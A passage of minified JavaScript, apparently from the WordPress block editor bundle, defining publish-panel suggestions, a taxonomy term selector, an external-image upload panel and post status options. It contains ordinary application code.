tag&quot;),r=e?.name??(0,ym.__)(&quot;Tags&quot;),o=[(0,ym.__)(&quot;Suggestion:&quot;),(0,bm.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:t},&quot;label&quot;)];return(0,bm.jsxs)(BK.PanelBody,{initialOpen:!1,title:o,children:[(0,bm.jsx)(&quot;p&quot;,{children:(0,ym.sprintf)((0,ym.__)(&quot;%s help users and search engines navigate your site and find your content. Add a few keywords to describe your post.&quot;),r)}),(0,bm.jsx)(WT,{slug:&quot;post_tag&quot;})]})},qCe=()=&gt;{let{postHasTags:e,siteHasTags:t,isPostTypeSupported:r}=(0,u4.useSelect)(n=&gt;{let i=n(w).getCurrentPostType(),a=n(YT.store).getEntityRecord(&quot;root&quot;,&quot;taxonomy&quot;,&quot;post_tag&quot;),l=a?.types?.includes(i),c=a!==void 0,u=a&amp;&amp;n(w).getEditedPostAttribute(a.rest_base),d=l?!!n(YT.store).getEntityRecords(&quot;taxonomy&quot;,&quot;post_tag&quot;,{per_page:1})?.length:!1;return{postHasTags:!!u?.length,siteHasTags:d,isPostTypeSupported:c&amp;&amp;l}},[]),[o]=(0,DK.useState)(e);return!r||!t||o?null:(0,bm.jsx)(YCe,{})},MK=qCe;var qT=s(A(),1),ZT=s(O(),1),Sm=s(E(),1),LK=s(W(),1);var nd=s(C(),1),ZCe=(e,t)=&gt;i0.filter(o=&gt;e?.includes(o.id)).find(o=&gt;o.id===t),KCe=({suggestedPostFormat:e,suggestionText:t,onUpdatePostFormat:r})=&gt;(0,nd.jsx)(qT.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:()=&gt;r(e),children:t});function VK(){let{currentPostFormat:e,suggestion:t}=(0,ZT.useSelect)(i=&gt;{let{getEditedPostAttribute:a,getSuggestedPostFormat:l}=i(w),c=i(LK.store).getThemeSupports().formats??[];return{currentPostFormat:a(&quot;format&quot;),suggestion:ZCe(c,l())}},[]),{editPost:r}=(0,ZT.useDispatch)(w),o=i=&gt;r({format:i}),n=[(0,Sm.__)(&quot;Suggestion:&quot;),(0,nd.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,Sm.__)(&quot;Use a post format&quot;)},&quot;label&quot;)];return!t||t.id===e?null:(0,nd.jsxs)(qT.PanelBody,{initialOpen:!1,title:n,children:[(0,nd.jsx)(&quot;p&quot;,{children:(0,Sm.__)(&quot;Your theme uses post formats to highlight different kinds of content, like images or videos. Apply a post format to see this special styling.&quot;)}),(0,nd.jsx)(&quot;p&quot;,{children:(0,nd.jsx)(KCe,{onUpdatePostFormat:o,suggestedPostFormat:t.id,suggestionText:(0,Sm.sprintf)((0,Sm.__)(&#039;Apply the &quot;%1$s&quot; format.&#039;),t.caption)})})]})}var XT=s(E(),1),YK=s(O(),1),qK=s(A(),1),m4=s(W(),1),QT=s(D(),1);var Ro=s(E(),1),Tc=s(D(),1),HK=s(ct(),1),or=s(A(),1),ag=s(O(),1),GK=s(he(),1),p0=s(W(),1),d4=s(Xm(),1),WK=s(ft(),1);var Eo=s(C(),1),{normalizeTextString:jK}=N(or.privateApis),{RECEIVE_INTERMEDIATE_RESULTS:XCe}=N(p0.privateApis),zK={per_page:-1,orderby:&quot;name&quot;,order:&quot;asc&quot;,_fields:&quot;id,name,parent&quot;,context:&quot;view&quot;,[XCe]:!0},QCe=8,UK=[];function JCe(e,t){let r=i=&gt;t.indexOf(i.id)!==-1?!0:i.children===void 0?!1:i.children.map(r).filter(a=&gt;a).length&gt;0,o=(i,a)=&gt;{let l=r(i),c=r(a);return l===c?0:l&amp;&amp;!c?-1:!l&amp;&amp;c?1:0},n=[...e];return n.sort(o),n}function $Ce(e,t,r){return e.find(o=&gt;(!o.parent&amp;&amp;!t||parseInt(o.parent)===parseInt(t))&amp;&amp;o.name.toLowerCase()===r.toLowerCase())}function eTe(e){let t=r=&gt;{if(e===&quot;&quot;)return r;let o={...r};return o.children.length&gt;0&amp;&amp;(o.children=o.children.map(t).filter(n=&gt;n)),jK(o.name).indexOf(jK(e))!==-1||o.children.length&gt;0?o:!1};return t}function f4({slug:e}){let[t,r]=(0,Tc.useState)(!1),[o,n]=(0,Tc.useState)(&quot;&quot;),[i,a]=(0,Tc.useState)(&quot;&quot;),[l,c]=(0,Tc.useState)(!1),[u,d]=(0,Tc.useState)(&quot;&quot;),[f,m]=(0,Tc.useState)([]),h=(0,GK.useDebounce)(d4.speak,500),{hasCreateAction:g,hasAssignAction:v,terms:y,loading:b,availableTerms:_,taxonomy:S}=(0,ag.useSelect)(ye=&gt;{let{getCurrentPost:oe,getEditedPostAttribute:ge}=ye(w),{getEntityRecord:Re,getEntityRecords:ze,isResolving:Ve}=ye(p0.store),tt=Re(&quot;root&quot;,&quot;taxonomy&quot;,e),vt=oe();return{hasCreateAction:tt?!!vt._links?.[&quot;wp:action-create-&quot;+tt.rest_base]:!1,hasAssignAction:tt?!!vt._links?.[&quot;wp:action-assign-&quot;+tt.rest_base]:!1,terms:tt?ge(tt.rest_base):UK,loading:Ve(&quot;getEntityRecords&quot;,[&quot;taxonomy&quot;,e,zK]),availableTerms:ze(&quot;taxonomy&quot;,e,zK)||UK,taxonomy:tt}},[e]),{editPost:x}=(0,ag.useDispatch)(w),{saveEntityRecord:T}=(0,ag.useDispatch)(p0.store),R=(0,Tc.useMemo)(()=&gt;JCe(IC(_),y),[_]),{createErrorNotice:F}=(0,ag.useDispatch)(HK.store);if(!v)return null;let B=ye=&gt;T(&quot;taxonomy&quot;,e,ye,{throwOnError:!0}),z=ye=&gt;{x({[S.rest_base]:ye})},L=ye=&gt;{let ge=y.includes(ye)?y.filter(Re=&gt;Re!==ye):[...y,ye];z(ge)},M=ye=&gt;{n(ye)},k=ye=&gt;{a(ye)},I=()=&gt;{c(!l)},U=async ye=&gt;{if(ye.preventDefault(),o===&quot;&quot;||t)return;let oe=$Ce(_,i,o);if(oe){y.some(Ve=&gt;Ve===oe.id)||z([...y,oe.id]),n(&quot;&quot;),a(&quot;&quot;);return}r(!0);let ge;try{ge=await B({name:o,parent:i||void 0})}catch(Ve){F(Ve.message,{type:&quot;snackbar&quot;});return}let Re=e===&quot;category&quot;?(0,Ro.__)(&quot;Category&quot;):(0,Ro.__)(&quot;Term&quot;),ze=(0,Ro.sprintf)((0,Ro._x)(&quot;%s added&quot;,&quot;term&quot;),S?.labels?.singular_name??Re);(0,d4.speak)(ze,&quot;assertive&quot;),r(!1),n(&quot;&quot;),a(&quot;&quot;),z([...y,ge.id])},G=ye=&gt;{let oe=R.map(eTe(ye)).filter(Ve=&gt;Ve),ge=Ve=&gt;{let tt=0;for(let vt=0;vt&lt;Ve.length;vt++)tt++,Ve[vt].children!==void 0&amp;&amp;(tt+=ge(Ve[vt].children));return tt};d(ye),m(oe);let Re=ge(oe),ze=(0,Ro.sprintf)((0,Ro._n)(&quot;%d result found.&quot;,&quot;%d results found.&quot;,Re),Re);h(ze,&quot;assertive&quot;)},Y=ye=&gt;ye.map(oe=&gt;(0,Eo.jsxs)(&quot;div&quot;,{className:&quot;editor-post-taxonomies__hierarchical-terms-choice&quot;,children:[(0,Eo.jsx)(or.CheckboxControl,{checked:y.indexOf(oe.id)!==-1,onChange:()=&gt;{let ge=parseInt(oe.id,10);L(ge)},label:(0,WK.decodeEntities)(oe.name)}),!!oe.children.length&amp;&amp;(0,Eo.jsx)(&quot;div&quot;,{className:&quot;editor-post-taxonomies__hierarchical-terms-subchoices&quot;,children:Y(oe.children)})]},oe.id)),Z=(ye,oe,ge)=&gt;S?.labels?.[ye]??(e===&quot;category&quot;?oe:ge),V=Z(&quot;add_new_item&quot;,(0,Ro.__)(&quot;Add Category&quot;),(0,Ro.__)(&quot;Add Term&quot;)),j=Z(&quot;new_item_name&quot;,(0,Ro.__)(&quot;Add Category&quot;),(0,Ro.__)(&quot;Add Term&quot;)),H=Z(&quot;parent_item&quot;,(0,Ro.__)(&quot;Parent Category&quot;),(0,Ro.__)(&quot;Parent Term&quot;)),X=`\u2014 ${H} \u2014`,ae=V,ne=S?.labels?.search_items??(0,Ro.__)(&quot;Search Terms&quot;),ue=S?.name??(0,Ro.__)(&quot;Terms&quot;),Ye=_.length&gt;=QCe;return(0,Eo.jsxs)(or.Flex,{direction:&quot;column&quot;,gap:&quot;4&quot;,children:[Ye&amp;&amp;!b&amp;&amp;(0,Eo.jsx)(or.SearchControl,{__next40pxDefaultSize:!0,label:ne,placeholder:ne,value:u,onChange:G}),b&amp;&amp;(0,Eo.jsx)(or.Flex,{justify:&quot;center&quot;,style:{height:&quot;40px&quot;},children:(0,Eo.jsx)(or.Spinner,{})}),(0,Eo.jsx)(&quot;div&quot;,{className:&quot;editor-post-taxonomies__hierarchical-terms-list&quot;,tabIndex:&quot;0&quot;,role:&quot;group&quot;,&quot;aria-label&quot;:ue,children:Y(u!==&quot;&quot;?f:R)}),!b&amp;&amp;g&amp;&amp;(0,Eo.jsx)(or.FlexItem,{children:(0,Eo.jsx)(or.Button,{__next40pxDefaultSize:!0,onClick:I,className:&quot;editor-post-taxonomies__hierarchical-terms-add&quot;,&quot;aria-expanded&quot;:l,variant:&quot;link&quot;,children:V})}),l&amp;&amp;(0,Eo.jsx)(&quot;form&quot;,{onSubmit:U,children:(0,Eo.jsxs)(or.Flex,{direction:&quot;column&quot;,gap:&quot;4&quot;,children:[(0,Eo.jsx)(or.TextControl,{__next40pxDefaultSize:!0,className:&quot;editor-post-taxonomies__hierarchical-terms-input&quot;,label:j,value:o,onChange:M,required:!0}),!!_.length&amp;&amp;(0,Eo.jsx)(or.TreeSelect,{__next40pxDefaultSize:!0,label:H,noOptionLabel:X,onChange:k,selectedId:i,tree:R}),(0,Eo.jsx)(or.FlexItem,{children:(0,Eo.jsx)(or.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,type:&quot;submit&quot;,className:&quot;editor-post-taxonomies__hierarchical-terms-submit&quot;,children:ae})})]})})]})}var KT=(0,or.withFilters)(&quot;editor.PostTaxonomyType&quot;)(f4);var lg=s(C(),1);function tTe(){let{hasNoCategory:e,hasSiteCategories:t}=(0,YK.useSelect)(i=&gt;{let a=i(w).getCurrentPostType(),{canUser:l,getEntityRecord:c}=i(m4.store),u=c(&quot;root&quot;,&quot;taxonomy&quot;,&quot;category&quot;),d=l(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?c(&quot;root&quot;,&quot;site&quot;)?.default_category:void 0,f=d?c(&quot;taxonomy&quot;,&quot;category&quot;,d):void 0,m=u&amp;&amp;u.types.some(y=&gt;y===a),h=u&amp;&amp;i(w).getEditedPostAttribute(u.rest_base),g=m?!!i(m4.store).getEntityRecords(&quot;taxonomy&quot;,&quot;category&quot;,{exclude:[d],per_page:1})?.length:!1;return{hasNoCategory:!!u&amp;&amp;!!f&amp;&amp;m&amp;&amp;(h?.length===0||h?.length===1&amp;&amp;f?.id===h[0]),hasSiteCategories:g}},[]),[r,o]=(0,QT.useState)(!1);if((0,QT.useEffect)(()=&gt;{e&amp;&amp;o(!0)},[e]),!r||!t)return null;let n=[(0,XT.__)(&quot;Suggestion:&quot;),(0,lg.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,XT.__)(&quot;Assign a category&quot;)},&quot;label&quot;)];return(0,lg.jsxs)(qK.PanelBody,{initialOpen:!1,title:n,children:[(0,lg.jsx)(&quot;p&quot;,{children:(0,XT.__)(&quot;Categories provide a helpful way to group related posts together and to quickly tell readers what a post is about.&quot;)}),(0,lg.jsx)(KT,{slug:&quot;category&quot;})]})}var ZK=tTe;var Ka=s(A(),1),g0=s(O(),1),id=s(E(),1),h0=s($(),1),JT=s(D(),1),QK=s(sy(),1);var KK=s(Ir(),1);function rTe(e){let t=new Set;return Object.fromEntries(e.map(r=&gt;{let o=(0,KK.getFilename)(r),n=&quot;&quot;;if(o){let i=o.split(&quot;.&quot;);i.length&gt;1&amp;&amp;i.pop(),n=i.join(&quot;.&quot;)}return n||(n=ep()),t.has(n)&amp;&amp;(n=`${n}-${ep()}`),t.add(n),[r,n]}))}function XK(e){return Object.fromEntries(Object.entries(rTe(e)).map(([t,r])=&gt;{let o=window.fetch(t.includes(&quot;?&quot;)?t:t+&quot;?&quot;).then(n=&gt;n.blob()).then(n=&gt;new File([n],`${r}.png`,{type:n.type}));return[t,o]}))}var bs=s(C(),1);function JK(e){let t=[];return e.forEach(r=&gt;{t.push(r),t.push(...JK(r.innerBlocks))}),t}function oTe(e){if(e.name===&quot;core/image&quot;||e.name===&quot;core/cover&quot;)return e.attributes.url&amp;&amp;!e.attributes.id;if(e.name===&quot;core/media-text&quot;)return e.attributes.mediaUrl&amp;&amp;!e.attributes.mediaId}function p4(e){if(e.name===&quot;core/image&quot;||e.name===&quot;core/cover&quot;){let{url:t,alt:r,id:o}=e.attributes;return{url:t,alt:r,id:o}}if(e.name===&quot;core/media-text&quot;){let{mediaUrl:t,mediaAlt:r,mediaId:o}=e.attributes;return{url:t,alt:r,id:o}}return{}}function nTe({clientId:e,alt:t,url:r}){let{selectBlock:o}=(0,g0.useDispatch)(h0.store);return(0,bs.jsx)(Ka.__unstableMotion.img,{tabIndex:0,role:&quot;button&quot;,&quot;aria-label&quot;:(0,id.__)(&quot;Select image block.&quot;),onClick:()=&gt;{o(e)},onKeyDown:n=&gt;{(n.key===&quot;Enter&quot;||n.key===&quot; &quot;)&amp;&amp;(o(e),n.preventDefault())},alt:t,src:r,animate:{opacity:1},exit:{opacity:0,scale:0},style:{width:&quot;32px&quot;,height:&quot;32px&quot;,objectFit:&quot;cover&quot;,borderRadius:&quot;2px&quot;,cursor:&quot;pointer&quot;},whileHover:{scale:1.08}},e)}function $K(){let[e,t]=(0,JT.useState)(!1),[r,o]=(0,JT.useState)(!1),[n,i]=(0,JT.useState)(!1),{editorBlocks:a,mediaUpload:l}=(0,g0.useSelect)(h=&gt;({editorBlocks:h(h0.store).getBlocks(),mediaUpload:h(h0.store).getSettings().mediaUpload}),[]),c=JK(a).filter(h=&gt;oTe(h)),{updateBlockAttributes:u}=(0,g0.useDispatch)(h0.store);if(!l||!c.length)return null;let d=[(0,id.__)(&quot;Suggestion:&quot;),(0,bs.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,id.__)(&quot;External media&quot;)},&quot;label&quot;)];function f(h,g){(h.name===&quot;core/image&quot;||h.name===&quot;core/cover&quot;)&amp;&amp;u(h.clientId,{id:g.id,url:g.url}),h.name===&quot;core/media-text&quot;&amp;&amp;u(h.clientId,{mediaId:g.id,mediaUrl:g.url})}function m(){t(!0),i(!1);let h=new Set(c.map(v=&gt;{let{url:y}=p4(v);return y})),g=Object.fromEntries(Object.entries(XK([...h])).map(([v,y])=&gt;{let b=y.then(_=&gt;new Promise((S,x)=&gt;{l({filesList:[_],onFileChange:([T])=&gt;{(0,QK.isBlobURL)(T.url)||S(T)},onError(){x()}})}));return[v,b]}));Promise.allSettled(c.map(v=&gt;{let{url:y}=p4(v);return g[y].then(b=&gt;f(v,b)).then(()=&gt;o(!0)).catch(()=&gt;i(!0))})).finally(()=&gt;{t(!1)})}return(0,bs.jsxs)(Ka.PanelBody,{initialOpen:!0,title:d,children:[(0,bs.jsx)(&quot;p&quot;,{children:(0,id.__)(&quot;Upload external images to the Media Library. Images from different domains may load slowly, display incorrectly, or be removed unexpectedly.&quot;)}),(0,bs.jsxs)(&quot;div&quot;,{style:{display:&quot;inline-flex&quot;,flexWrap:&quot;wrap&quot;,gap:&quot;8px&quot;},children:[(0,bs.jsx)(Ka.__unstableAnimatePresence,{onExitComplete:()=&gt;o(!1),children:c.map(h=&gt;{let{url:g,alt:v}=p4(h);return(0,bs.jsx)(nTe,{clientId:h.clientId,url:g,alt:v},h.clientId)})}),e||r?(0,bs.jsx)(Ka.Spinner,{}):(0,bs.jsx)(Ka.Button,{size:&quot;compact&quot;,variant:&quot;primary&quot;,onClick:m,children:(0,id._x)(&quot;Upload&quot;,&quot;verb&quot;)})]}),n&amp;&amp;(0,bs.jsx)(&quot;p&quot;,{children:(0,id.__)(&quot;Upload failed, try again.&quot;)})]})}var Mt=s(C(),1);function iTe({children:e}){let{isBeingScheduled:t,isRequestingSiteIcon:r,hasPublishAction:o,siteIconUrl:n,siteTitle:i,siteHome:a}=(0,eX.useSelect)(d=&gt;{let{getCurrentPost:f,isEditedPostBeingScheduled:m}=d(w),{getEntityRecord:h,isResolving:g}=d(rX.store),v=h(&quot;root&quot;,&quot;__unstableBase&quot;,void 0)||{};return{hasPublishAction:f()._links?.[&quot;wp:action-publish&quot;]??!1,isBeingScheduled:m(),isRequestingSiteIcon:g(&quot;getEntityRecord&quot;,[&quot;root&quot;,&quot;__unstableBase&quot;,void 0]),siteIconUrl:v.site_icon_url,siteTitle:v.name,siteHome:v.home&amp;&amp;(0,tX.filterURLForDisplay)(v.home)}},[]),l=(0,Mt.jsx)(v0.Icon,{className:&quot;components-site-icon&quot;,size:&quot;36px&quot;,icon:aO});n&amp;&amp;(l=(0,Mt.jsx)(&quot;img&quot;,{alt:(0,la.__)(&quot;Site Icon&quot;),className:&quot;components-site-icon&quot;,src:n})),r&amp;&amp;(l=null);let c,u;return o?t?(c=(0,la.__)(&quot;Are you ready to schedule?&quot;),u=(0,la.__)(&quot;Your work will be published at the specified date and time.&quot;)):(c=(0,la.__)(&quot;Are you ready to publish?&quot;),u=(0,la.__)(&quot;Double-check your settings before publishing.&quot;)):(c=(0,la.__)(&quot;Are you ready to submit for review?&quot;),u=(0,la.__)(&quot;Your work will be reviewed and then approved.&quot;)),(0,Mt.jsxs)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__prepublish&quot;,children:[(0,Mt.jsx)(&quot;div&quot;,{children:(0,Mt.jsx)(&quot;strong&quot;,{children:c})}),(0,Mt.jsx)(&quot;p&quot;,{children:u}),(0,Mt.jsxs)(&quot;div&quot;,{className:&quot;components-site-card&quot;,children:[l,(0,Mt.jsxs)(&quot;div&quot;,{className:&quot;components-site-info&quot;,children:[(0,Mt.jsx)(&quot;span&quot;,{className:&quot;components-site-name&quot;,children:(0,oX.decodeEntities)(i)||(0,la.__)(&quot;(Untitled)&quot;)}),(0,Mt.jsx)(&quot;span&quot;,{className:&quot;components-site-home&quot;,children:a})]})]}),(0,Mt.jsx)($K,{}),o&amp;&amp;(0,Mt.jsxs)(Mt.Fragment,{children:[(0,Mt.jsx)(v0.PanelBody,{initialOpen:!1,title:[(0,la.__)(&quot;Visibility:&quot;),(0,Mt.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,Mt.jsx)(VT,{})},&quot;label&quot;)],children:(0,Mt.jsx)(u0,{})}),(0,Mt.jsx)(v0.PanelBody,{initialOpen:!1,title:[(0,la.__)(&quot;Publish:&quot;),(0,Mt.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,Mt.jsx)(ng,{})},&quot;label&quot;)],children:(0,Mt.jsx)(og,{})})]}),(0,Mt.jsx)(VK,{}),(0,Mt.jsx)(MK,{}),(0,Mt.jsx)(ZK,{}),e]})}var nX=iTe;var Li=s(A(),1),ca=s(E(),1),sd=s(D(),1),aX=s(O(),1),$T=s(Ir(),1),lX=s(ft(),1),cX=s(he(),1),uX=s(W(),1);var Mr=s(C(),1),iX=&quot;%postname%&quot;,sX=&quot;%pagename%&quot;,sTe=e=&gt;{let{slug:t}=e;return e.permalink_template.includes(iX)?e.permalink_template.replace(iX,t):e.permalink_template.includes(sX)?e.permalink_template.replace(sX,t):e.permalink_template};function aTe({text:e}){let[t,r]=(0,sd.useState)(!1),o=(0,sd.useRef)(),n=(0,cX.useCopyToClipboard)(e,()=&gt;{r(!0),o.current&amp;&amp;clearTimeout(o.current),o.current=setTimeout(()=&gt;{r(!1)},4e3)});return(0,sd.useEffect)(()=&gt;()=&gt;{o.current&amp;&amp;clearTimeout(o.current)},[]),(0,Mr.jsx)(Li.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,ref:n,children:t?(0,ca.__)(&quot;Copied!&quot;):(0,ca.__)(&quot;Copy&quot;)})}function dX({focusOnMount:e,children:t}){let{post:r,postType:o,isScheduled:n}=(0,aX.useSelect)(m=&gt;{let{getEditedPostAttribute:h,getCurrentPost:g,isCurrentPostScheduled:v}=m(w),{getPostType:y}=m(uX.store);return{post:g(),postType:y(h(&quot;type&quot;)),isScheduled:v()}},[]),i=o?.labels?.singular_name,a=o?.labels?.view_item,l=o?.labels?.add_new_item,c=r.status===&quot;future&quot;?sTe(r):r.link,u=(0,$T.addQueryArgs)(&quot;post-new.php&quot;,{post_type:r.type}),d=(0,sd.useCallback)(m=&gt;{e&amp;&amp;m&amp;&amp;m.focus()},[e]),f=n?(0,Mr.jsxs)(Mr.Fragment,{children:[(0,ca.__)(&quot;is now scheduled. It will go live on&quot;),&quot; &quot;,(0,Mr.jsx)(ng,{}),&quot;.&quot;]}):(0,ca.__)(&quot;is now live.&quot;);return(0,Mr.jsxs)(&quot;div&quot;,{className:&quot;post-publish-panel__postpublish&quot;,children:[(0,Mr.jsxs)(Li.PanelBody,{className:&quot;post-publish-panel__postpublish-header&quot;,children:[(0,Mr.jsx)(Li.ExternalLink,{ref:d,href:c,children:(0,lX.decodeEntities)(r.title)||(0,ca.__)(&quot;(no title)&quot;)}),&quot; &quot;,f]}),(0,Mr.jsxs)(Li.PanelBody,{children:[(0,Mr.jsx)(&quot;p&quot;,{className:&quot;post-publish-panel__postpublish-subheader&quot;,children:(0,Mr.jsx)(&quot;strong&quot;,{children:(0,ca.__)(&quot;What\u2019s next?&quot;)})}),(0,Mr.jsxs)(&quot;div&quot;,{className:&quot;post-publish-panel__postpublish-post-address-container&quot;,children:[(0,Mr.jsx)(Li.TextControl,{__next40pxDefaultSize:!0,className:&quot;post-publish-panel__postpublish-post-address&quot;,readOnly:!0,label:(0,ca.sprintf)((0,ca.__)(&quot;%s address&quot;),i),value:(0,$T.safeDecodeURIComponent)(c),onFocus:m=&gt;m.target.select()}),(0,Mr.jsx)(&quot;div&quot;,{className:&quot;post-publish-panel__postpublish-post-address__copy-button-wrap&quot;,children:(0,Mr.jsx)(aTe,{text:c})})]}),(0,Mr.jsxs)(&quot;div&quot;,{className:&quot;post-publish-panel__postpublish-buttons&quot;,children:[!n&amp;&amp;(0,Mr.jsxs)(Li.Button,{variant:&quot;primary&quot;,href:c,__next40pxDefaultSize:!0,icon:Xn,iconPosition:&quot;right&quot;,target:&quot;_blank&quot;,children:[a,(0,Mr.jsx)(Li.VisuallyHidden,{as:&quot;span&quot;,children:(0,ca.__)(&quot;(opens in a new tab)&quot;)})]}),(0,Mr.jsx)(Li.Button,{variant:n?&quot;primary&quot;:&quot;secondary&quot;,__next40pxDefaultSize:!0,href:u,children:l})]})]}),t]})}var Kr=s(C(),1),lTe=class extends tP.Component{constructor(){super(...arguments),this.onSubmit=this.onSubmit.bind(this),this.cancelButtonNode=(0,tP.createRef)()}componentDidMount(){this.timeoutID=setTimeout(()=&gt;{this.cancelButtonNode.current.focus()},0)}componentWillUnmount(){clearTimeout(this.timeoutID)}componentDidUpdate(e){(e.isPublished&amp;&amp;!this.props.isSaving&amp;&amp;this.props.isDirty||this.props.currentPostId!==e.currentPostId)&amp;&amp;this.props.onClose()}onSubmit(){let{onClose:e,hasPublishAction:t,isPostTypeViewable:r}=this.props;(!t||!r)&amp;&amp;e()}render(){let{forceIsDirty:e,isBeingScheduled:t,isPublished:r,isPublishSidebarEnabled:o,isScheduled:n,isSaving:i,isSavingNonPostEntityChanges:a,onClose:l,onTogglePublishSidebar:c,PostPublishExtension:u,PrePublishExtension:d,currentPostId:f,...m}=this.props,{hasPublishAction:h,isDirty:g,isPostTypeViewable:v,...y}=m,b=r||n&amp;&amp;t,_=!b&amp;&amp;!i,S=b&amp;&amp;!i;return(0,Kr.jsxs)(&quot;div&quot;,{className:&quot;editor-post-publish-panel&quot;,...y,children:[(0,Kr.jsx)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__header&quot;,children:S?(0,Kr.jsx)(ua.Button,{size:&quot;compact&quot;,onClick:l,icon:Kn,label:(0,eP.__)(&quot;Close panel&quot;)}):(0,Kr.jsxs)(Kr.Fragment,{children:[(0,Kr.jsx)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__header-cancel-button&quot;,children:(0,Kr.jsx)(ua.Button,{ref:this.cancelButtonNode,accessibleWhenDisabled:!0,disabled:a,onClick:l,variant:&quot;secondary&quot;,size:&quot;compact&quot;,children:(0,eP.__)(&quot;Cancel&quot;)})}),(0,Kr.jsx)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__header-publish-button&quot;,children:(0,Kr.jsx)(eg,{onSubmit:this.onSubmit,forceIsDirty:e})})]})}),(0,Kr.jsxs)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__content&quot;,children:[_&amp;&amp;(0,Kr.jsx)(nX,{children:d&amp;&amp;(0,Kr.jsx)(d,{})}),S&amp;&amp;(0,Kr.jsx)(dX,{focusOnMount:!0,children:u&amp;&amp;(0,Kr.jsx)(u,{})}),i&amp;&amp;(0,Kr.jsx)(ua.Spinner,{})]}),(0,Kr.jsx)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__footer&quot;,children:(0,Kr.jsx)(ua.CheckboxControl,{label:(0,eP.__)(&quot;Always show pre-publish checks.&quot;),checked:o,onChange:c})})]})}},oP=(0,fX.compose)([(0,rP.withSelect)(e=&gt;{let{getPostType:t}=e(mX.store),{getCurrentPost:r,getCurrentPostId:o,getEditedPostAttribute:n,isCurrentPostPublished:i,isCurrentPostScheduled:a,isEditedPostBeingScheduled:l,isEditedPostDirty:c,isAutosavingPost:u,isSavingPost:d,isSavingNonPostEntityChanges:f}=e(w),{isPublishSidebarEnabled:m}=e(w),h=t(n(&quot;type&quot;));return{hasPublishAction:r()._links?.[&quot;wp:action-publish&quot;]??!1,isPostTypeViewable:h?.viewable,isBeingScheduled:l(),isDirty:c(),isPublished:i(),isPublishSidebarEnabled:m(),isSaving:d()&amp;&amp;!u(),isSavingNonPostEntityChanges:f(),isScheduled:a(),currentPostId:o()}}),(0,rP.withDispatch)((e,{isPublishSidebarEnabled:t})=&gt;{let{disablePublishSidebar:r,enablePublishSidebar:o}=e(w);return{onTogglePublishSidebar:()=&gt;{t?r():o()}}}),ua.withFocusReturn,ua.withConstrainedTabbing])(lTe);var cP=s(A(),1),uP=s(he(),1),dP=s(O(),1),fP=s(D(),1),_m=s(E(),1);var bX=s(yo(),1),SX=s(lt(),1);var Vi=s(A(),1),Et=s(E(),1),lP=s(O(),1),y0=s(D(),1),gX=s(W(),1),vX=s($(),1),yX=s(he(),1);var h4=s(E(),1),hX=s(A(),1),iP=s(O(),1);var pX=s(O(),1);function nP({children:e}){let{hasStickyAction:t,postType:r}=(0,pX.useSelect)(o=&gt;({hasStickyAction:o(w).getCurrentPost()._links?.[&quot;wp:action-sticky&quot;]??!1,postType:o(w).getCurrentPostType()}),[]);return r!==&quot;post&quot;||!t?null:e}var g4=s(C(),1);function sP(){let e=(0,iP.useSelect)(r=&gt;r(w).getEditedPostAttribute(&quot;sticky&quot;)??!1,[]),{editPost:t}=(0,iP.useDispatch)(w);return(0,g4.jsx)(nP,{children:(0,g4.jsx)(hX.CheckboxControl,{className:&quot;editor-post-sticky__checkbox-control&quot;,label:(0,h4.__)(&quot;Sticky&quot;),help:(0,h4.__)(&quot;Pin this post to the top of the blog.&quot;),checked:e,onChange:()=&gt;t({sticky:!e})})})}var Xr=s(C(),1),aP={&quot;auto-draft&quot;:{label:(0,Et.__)(&quot;Draft&quot;),icon:Wm},draft:{label:(0,Et.__)(&quot;Draft&quot;),icon:Wm},pending:{label:(0,Et.__)(&quot;Pending&quot;),icon:Lv},private:{label:(0,Et.__)(&quot;Private&quot;),icon:Fv},future:{label:(0,Et.__)(&quot;Scheduled&quot;),icon:jv},publish:{label:(0,Et.__)(&quot;Published&quot;),icon:Hd}},v4=[{label:(0,Et.__)(&quot;Draft&quot;),value:&quot;draft&quot;,description:(0,Et.__)(&quot;Not ready to publish.&quot;)},{label:(0,Et.__)(&quot;Pending&quot;),value:&quot;pending&quot;,description:(0,Et.__)(&quot;Waiting for review before publishing.&quot;)},{label:(0,Et.__)(&quot;Private&quot;),value:&quot;private&quot;,description:(0,Et.__)(&quot;Only visible to site admins and editors.&quot;)},{label:(0,Et.__)(&quot;Scheduled&quot;),value:&quot;future&quot;,description:(0,Et.__)(&quot;Publish automatically on a chosen date.&quot;)},{label:(0,Et.__)(&quot;Published&quot;),value:&quot;publish&quot;,description:(0,Et.__)(&quot;Visible to everyone.&quot;)}];function y4(){let{status:e,date:t,password:r,postId:o,postType:n,canEdit:i}=(0,lP.useSelect)(y=&gt;{let{getEditedPostAttribute:b,getCurrentPostId:_,getCurrentPostType:S,getCurrentPost:x}=y(w);return{status:b(&quot;status&quot;),date:b(&quot;date&quot;),password:b(&quot;password&quot;),postId:_(),postType:S(),canEdit:x()._links?.[&quot;wp:action-publish&quot;]??!1}},[]),[a,l]=(0,y0.useState)(!!r),c=(0,yX.useInstanceId)(y4,&quot;editor-change-status__password-input&quot;),{editEntityRecord:u}=(0,lP.useDispatch)(gX.store),[d,f]=(0,y0.useState)(null),m=(0,y0.useMemo)(()=&gt;({anchor:d,&quot;aria-label&quot;:(0,Et.__)(&quot;Status &amp; visibility&quot;),headerTitle:(0,Et.__)(&quot;Status &amp; visibility&quot;),placement:&quot;left-start&quot;,offset:36,shift:!0}),[d]);if(Jc.includes(n))return null;let 